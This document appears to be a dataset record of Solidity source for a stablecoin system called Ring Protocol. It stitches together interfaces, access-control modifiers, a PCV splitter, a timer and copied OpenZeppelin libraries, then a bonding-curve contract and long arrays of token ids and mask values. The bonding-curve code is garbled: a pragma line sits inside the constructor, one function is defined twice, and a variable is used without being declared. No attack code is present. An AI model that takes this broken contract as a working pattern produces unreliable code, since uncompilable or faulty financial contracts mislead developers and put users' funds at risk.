library SafeMathCopy { // To avoid namespace collision between openzeppelin safemath and uniswap safemath
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
pragma experimental ABIEncoderV2;
import "../external/Decimal.sol";
/// @title generic oracle interface for Ring Protocol
/// @author Ring Protocol
interface IOracle {
// ----------- Getters -----------
function read() external view returns (Decimal.D256 memory, bool);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title a PCV Deposit interface
/// @author Ring Protocol
interface IPCVDeposit {
// ----------- Events -----------
event Deposit(address indexed _from, uint256 _amount);
event Collect(address indexed _from, uint256 _amount0, uint256 _amount1);
event Withdrawal(
address indexed _caller,
address indexed _to,
uint256 _amount
);
// ----------- State changing api -----------
function deposit() external payable;
function collect() external returns (uint256 amount0, uint256 amount1);
// ----------- PCV Controller only state changing api -----------
function withdraw(address to, uint256 amount) external;
function burnAndReset(uint24 _fee, int24 _tickLower, int24 _tickUpper) external;
// ----------- Getters -----------
function fee() external view returns (uint24);
function tickLower() external view returns (int24);
function tickUpper() external view returns (int24);
function totalLiquidity() external view returns (uint128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma experimental ABIEncoderV2;
import "../external/SafeMathCopy.sol";
/// @title abstract contract for splitting PCV into different deposits
/// @author Ring Protocol
abstract contract PCVSplitter {
using SafeMathCopy for uint256;
/// @notice total allocation allowed representing 100%
uint256 public constant ALLOCATION_GRANULARITY = 10_000;
uint256[] private ratios;
address[] private pcvDeposits;
event AllocationUpdate(address[] _pcvDeposits, uint256[] _ratios);
/// @notice PCVSplitter constructor
/// @param _pcvDeposits list of PCV Deposits to split to
/// @param _ratios ratios for splitting PCV Deposit allocations
constructor(address[] memory _pcvDeposits, uint256[] memory _ratios) {
_setAllocation(_pcvDeposits, _ratios);
}
/// @notice make sure an allocation has matching lengths and totals the ALLOCATION_GRANULARITY
/// @param _pcvDeposits new list of pcv deposits to send to
/// @param _ratios new ratios corresponding to the PCV deposits
/// @return true if it is a valid allocation
function checkAllocation(
address[] memory _pcvDeposits,
uint256[] memory _ratios
) public pure returns (bool) {
require(
_pcvDeposits.length == _ratios.length,
"PCVSplitter: PCV Deposits and ratios are different lengths"
);
uint256 total;
for (uint256 i; i < _ratios.length; i++) {
total = total.add(_ratios[i]);
}
require(
total == ALLOCATION_GRANULARITY,
"PCVSplitter: ratios do not total 100%"
);
return true;
}
/// @notice gets the pcvDeposits and ratios of the splitter
function getAllocation()
public
view
returns (address[] memory, uint256[] memory)
{
return (pcvDeposits, ratios);
}
/// @notice distribute funds to single PCV deposit
/// @param amount amount of funds to send
/// @param pcvDeposit the pcv deposit to send funds
function _allocateSingle(uint256 amount, address pcvDeposit)
internal
virtual;
/// @notice sets a new allocation for the splitter
/// @param _pcvDeposits new list of pcv deposits to send to
/// @param _ratios new ratios corresponding to the PCV deposits. Must total ALLOCATION_GRANULARITY
function _setAllocation(
address[] memory _pcvDeposits,
uint256[] memory _ratios
) internal {
checkAllocation(_pcvDeposits, _ratios);
pcvDeposits = _pcvDeposits;
ratios = _ratios;
emit AllocationUpdate(_pcvDeposits, _ratios);
}
/// @notice distribute funds to all pcv deposits at specified allocation ratios
/// @param total amount of funds to send
function _allocate(uint256 total) internal {
uint256 granularity = ALLOCATION_GRANULARITY;
for (uint256 i; i < ratios.length; i++) {
uint256 amount = total.mul(ratios[i]) / granularity;
_allocateSingle(amount, pcvDeposits[i]);
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma experimental ABIEncoderV2;
import "./ICoreRef.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/// @title A Reference to Core
/// @author Ring Protocol
/// @notice defines some modifiers and utilities around interacting with Core
abstract contract CoreRef is ICoreRef, Pausable {
ICore private _core;
/// @notice CoreRef constructor
/// @param newCore Ring Core to reference
constructor(address newCore) {
_core = ICore(newCore);
}
modifier ifMinterSelf() {
if (_core.isMinter(address(this))) {
_;
}
}
modifier ifBurnerSelf() {
if (_core.isBurner(address(this))) {
_;
}
}
modifier onlyMinter() {
require(_core.isMinter(msg.sender), "CoreRef: Caller is not a minter");
_;
}
modifier onlyBurner() {
require(_core.isBurner(msg.sender), "CoreRef: Caller is not a burner");
_;
}
modifier onlyPCVController() {
require(
_core.isPCVController(msg.sender),
"CoreRef: Caller is not a PCV controller"
);
_;
}
modifier onlyGovernor() {
require(
_core.isGovernor(msg.sender),
"CoreRef: Caller is not a governor"
);
_;
}
modifier onlyGuardianOrGovernor() {
require(
_core.isGovernor(msg.sender) ||
_core.isGuardian(msg.sender),
"CoreRef: Caller is not a guardian or governor"
);
_;
}
modifier onlyRusd() {
require(msg.sender == address(rusd()), "CoreRef: Caller is not RUSD");
_;
}
modifier onlyGenesisGroup() {
require(
msg.sender == _core.genesisGroup(),
"CoreRef: Caller is not GenesisGroup"
);
_;
}
modifier nonContract() {
require(!Address.isContract(msg.sender), "CoreRef: Caller is a contract");
_;
}
/// @notice set new Core reference address
/// @param _newCore the new core address
function setCore(address _newCore) external override onlyGovernor {
_core = ICore(_newCore);
emit CoreUpdate(_newCore);
}
/// @notice set pausable methods to paused
function pause() public override onlyGuardianOrGovernor {
_pause();
}
/// @notice set pausable methods to unpaused
function unpause() public override onlyGuardianOrGovernor {
_unpause();
}
/// @notice address of the Core contract referenced
/// @return ICore implementation address
function core() public view override returns (ICore) {
return _core;
}
/// @notice address of the Rusd contract referenced by Core
/// @return IRusd implementation address
function rusd() public view override returns (IRusd) {
return _core.rusd();
}
/// @notice address of the Ring contract referenced by Core
/// @return IERC20 implementation address
function ring() public view override returns (IERC20) {
return _core.ring();
}
/// @notice rusd balance of contract
/// @return rusd amount held
function rusdBalance() public view override returns (uint256) {
return rusd().balanceOf(address(this));
}
/// @notice ring balance of contract
/// @return ring amount held
function ringBalance() public view override returns (uint256) {
return ring().balanceOf(address(this));
}
function _burnRusdHeld() internal {
rusd().burn(rusdBalance());
}
function _mintRusd(uint256 amount) internal {
rusd().mint(address(this), amount);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
pragma experimental ABIEncoderV2;
import "../core/ICore.sol";
/// @title CoreRef interface
/// @author Ring Protocol
interface ICoreRef {
// ----------- Events -----------
event CoreUpdate(address indexed _core);
// ----------- Governor only state changing api -----------
function setCore(address _newCore) external;
function pause() external;
function unpause() external;
// ----------- Getters -----------
function core() external view returns (ICore);
function rusd() external view returns (IRusd);
function ring() external view returns (IERC20);
function rusdBalance() external view returns (uint256);
function ringBalance() external view returns (uint256);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
pragma experimental ABIEncoderV2;
import "../oracle/IOracle.sol";
/// @title OracleRef interface
/// @author Ring Protocol
interface IOracleRef {
// ----------- Events -----------
event OracleUpdate(address indexed _oracle);
// ----------- Governor only state changing API -----------
function setOracle(address _oracle) external;
// ----------- Getters -----------
function oracle() external view returns (IOracle);
function peg() external view returns (Decimal.D256 memory);
function invert(Decimal.D256 calldata price)
external
pure
returns (Decimal.D256 memory);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma experimental ABIEncoderV2;
import "./IOracleRef.sol";
import "./CoreRef.sol";
/// @title Reference to an Oracle
/// @author Ring Protocol
/// @notice defines some utilities around interacting with the referenced oracle
abstract contract OracleRef is IOracleRef, CoreRef {
using Decimal for Decimal.D256;
/// @notice the oracle reference by the contract
IOracle public override oracle;
/// @notice OracleRef constructor
/// @param _core Ring Core to reference
/// @param _oracle oracle to reference
constructor(address _core, address _oracle) CoreRef(_core) {
_setOracle(_oracle);
}
/// @notice sets the referenced oracle
/// @param _oracle the new oracle to reference
function setOracle(address _oracle) external override onlyGovernor {
_setOracle(_oracle);
}
/// @notice invert a peg price
/// @param price the peg price to invert
/// @return the inverted peg as a Decimal
/// @dev the inverted peg would be X per RUSD
function invert(Decimal.D256 memory price)
public
pure
override
returns (Decimal.D256 memory)
{
return Decimal.one().div(price);
}
/// @notice the peg price of the referenced oracle
/// @return the peg as a Decimal
/// @dev the peg is defined as RUSD per X with X being ETH, dollars, etc
function peg() public view override returns (Decimal.D256 memory) {
(Decimal.D256 memory _peg, bool valid) = oracle.read();
require(valid, "OracleRef: oracle invalid");
return _peg;
}
function _setOracle(address _oracle) internal {
oracle = IOracle(_oracle);
emit OracleUpdate(_oracle);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title RUSD stablecoin interface
/// @author Ring Protocol
interface IRusd is IERC20 {
// ----------- Events -----------
event Minting(
address indexed _to,
address indexed _minter,
uint256 _amount
);
event Burning(
address indexed _to,
address indexed _burner,
uint256 _amount
);
event IncentiveContractUpdate(
address indexed _incentiveContract
);
// ----------- State changing api -----------
function burn(uint256 amount) external;
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
// ----------- Burner only state changing api -----------
function burnFrom(address account, uint256 amount) external;
// ----------- Minter only state changing api -----------
function mint(address account, uint256 amount) external;
// ----------- Governor only state changing api -----------
function setIncentiveContract(address incentive) external;
// ----------- Getters -----------
function incentiveContract() external view returns (address);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma experimental ABIEncoderV2;
/// @title an abstract contract for timed events
/// @author Ring Protocol
abstract contract Timed {
/// @notice the start timestamp of the timed period
uint256 public startTime;
/// @notice the duration of the timed period
uint256 public duration;
event DurationUpdate(uint256 _duration);
event TimerReset(uint256 _startTime);
constructor(uint256 _duration) {
_setDuration(_duration);
}
modifier duringTime() {
require(isTimeStarted(), "Timed: time not started");
require(!isTimeEnded(), "Timed: time ended");
_;
}
modifier afterTime() {
require(isTimeEnded(), "Timed: time not ended");
_;
}
/// @notice return true if time period has ended
function isTimeEnded() public view returns (bool) {
return remainingTime() == 0;
}
/// @notice number of seconds remaining until time is up
/// @return remaining
function remainingTime() public view returns (uint256) {
return duration - timeSinceStart(); // duration always >= timeSinceStart which is on [0,d]
}
/// @notice number of seconds since contract was initialized
/// @return timestamp
/// @dev will be less than or equal to duration
function timeSinceStart() public view returns (uint256) {
if (!isTimeStarted()) {
return 0; // uninitialized
}
uint256 _duration = duration;
// solhint-disable-next-line not-rely-on-time
uint256 timePassed = block.timestamp - startTime; // block timestamp always >= startTime
return timePassed > _duration ? _duration : timePassed;
}
function isTimeStarted() public view returns (bool) {
return startTime != 0;
}
function _initTimed() internal {
// solhint-disable-next-line not-rely-on-time
startTime = block.timestamp;
// solhint-disable-next-line not-rely-on-time
emit TimerReset(block.timestamp);
}
function _setDuration(uint _duration) internal {
duration = _duration;
emit DurationUpdate(_duration);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
| @title an abstract bonding curve for purchasing RUSD @author Ring Protocol | abstract contract BondingCurve is IBondingCurve, OracleRef, PCVSplitter, Timed {
using Decimal for Decimal.D256;
using SafeMathCopy for uint256;
uint256 public override buffer = 50;
uint256 public constant BUFFER_GRANULARITY = 10_000;
uint256 public override incentiveAmount;
constructor(
address _core,
address[] memory _pcvDeposits,
uint256[] memory _ratios,
address _oracle,
uint256 _duration,
uint256 _incentive
)
OracleRef(_core, _oracle)
PCVSplitter(_pcvDeposits, _ratios)
Timed(_duration)
pragma solidity =0.7.6;
{
incentiveAmount = _incentive;
_initTimed();
}
function setBuffer(uint256 _buffer) external override onlyGovernor {
require(
_buffer < BUFFER_GRANULARITY,
"BondingCurve: Buffer exceeds or matches granularity"
);
buffer = _buffer;
emit BufferUpdate(_buffer);
}
function setIncentiveAmount(uint256 _incentiveAmount) external override onlyGovernor {
incentiveAmount = _incentiveAmount;
emit IncentiveAmountUpdate(_incentiveAmount);
}
function setIncentiveFrequency(uint256 _frequency) external override onlyGovernor {
_setDuration(_frequency);
}
function setAllocation(
address[] calldata allocations,
uint256[] calldata ratios
) external override onlyGovernor {
_setAllocation(allocations, ratios);
}
function allocate() external override whenNotPaused {
require((!Address.isContract(msg.sender)), "BondingCurve: Caller is a contract");
uint256 amount = getTotalPCVHeld();
require(amount != 0, "BondingCurve: No PCV held");
_allocate(amount);
_incentivize();
emit Allocate(msg.sender, amount);
}
function getCurrentPrice()
external
view
override
returns (Decimal.D256 memory)
{
return peg().mul(_getBufferMultiplier());
}
function getAmountOut(uint256 amountIn)
public
view
override
returns (uint256 amountOut)
{
uint256 adjustedAmount = _getAdjustedAmount(amountIn);
amountOut = _getBufferAdjustedAmount(adjustedAmount);
return amountOut;
}
function getAverageUSDPrice(uint256 amountIn)
external
view
override
returns (Decimal.D256 memory)
{
uint256 adjustedAmount = _getAdjustedAmount(amountIn);
uint256 amountOut = getAmountOut(amountIn);
return Decimal.ratio(adjustedAmount, amountOut);
}
function getTotalPCVHeld() public view virtual override returns (uint256);
function _getAdjustedAmount(uint256 amountIn)
internal
view
returns (uint256)
{
return peg().mul(amountIn).asUint256();
}
function _purchase(uint256 amountIn, address to)
internal
returns (uint256 amountOut)
{
amountOut = getAmountOut(amountIn);
_incrementTotalPurchased(amountOut);
rusd().mint(to, amountOut);
emit Purchase(to, amountIn, amountOut);
return amountOut;
}
function _incrementTotalPurchased(uint256 amount) internal {
totalPurchased = totalPurchased.add(amount);
}
function _incentivize() internal virtual {
if (isTimeEnded()) {
rusd().mint(msg.sender, incentiveAmount);
}
}
function _incentivize() internal virtual {
if (isTimeEnded()) {
rusd().mint(msg.sender, incentiveAmount);
}
}
function _getBufferMultiplier() internal view returns (Decimal.D256 memory) {
uint256 granularity = BUFFER_GRANULARITY;
return Decimal.ratio(granularity - buffer, granularity);
}
function _getBufferAdjustedAmount(uint256 amountIn)
internal
view
returns (uint256)
{
return _getBufferMultiplier().mul(amountIn).asUint256();
}
}
| 1,154,580 | [
1,
304,
8770,
8427,
310,
8882,
364,
5405,
343,
11730,
534,
3378,
40,
225,
25463,
4547,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
605,
1434,
310,
9423,
353,
16178,
310,
9423,
16,
28544,
1957,
16,
453,
22007,
26738,
16,
23925,
288,
203,
565,
1450,
11322,
364,
11322,
18,
40,
5034,
31,
203,
565,
1450,
14060,
10477,
2951,
364,
2254,
5034,
31,
203,
203,
203,
565,
2254,
5034,
1071,
3849,
1613,
273,
6437,
31,
203,
565,
2254,
5034,
1071,
5381,
25859,
67,
6997,
1258,
19545,
4107,
273,
1728,
67,
3784,
31,
203,
203,
565,
2254,
5034,
1071,
3849,
316,
2998,
688,
6275,
31,
203,
203,
565,
3885,
12,
203,
3639,
1758,
389,
3644,
16,
203,
3639,
1758,
8526,
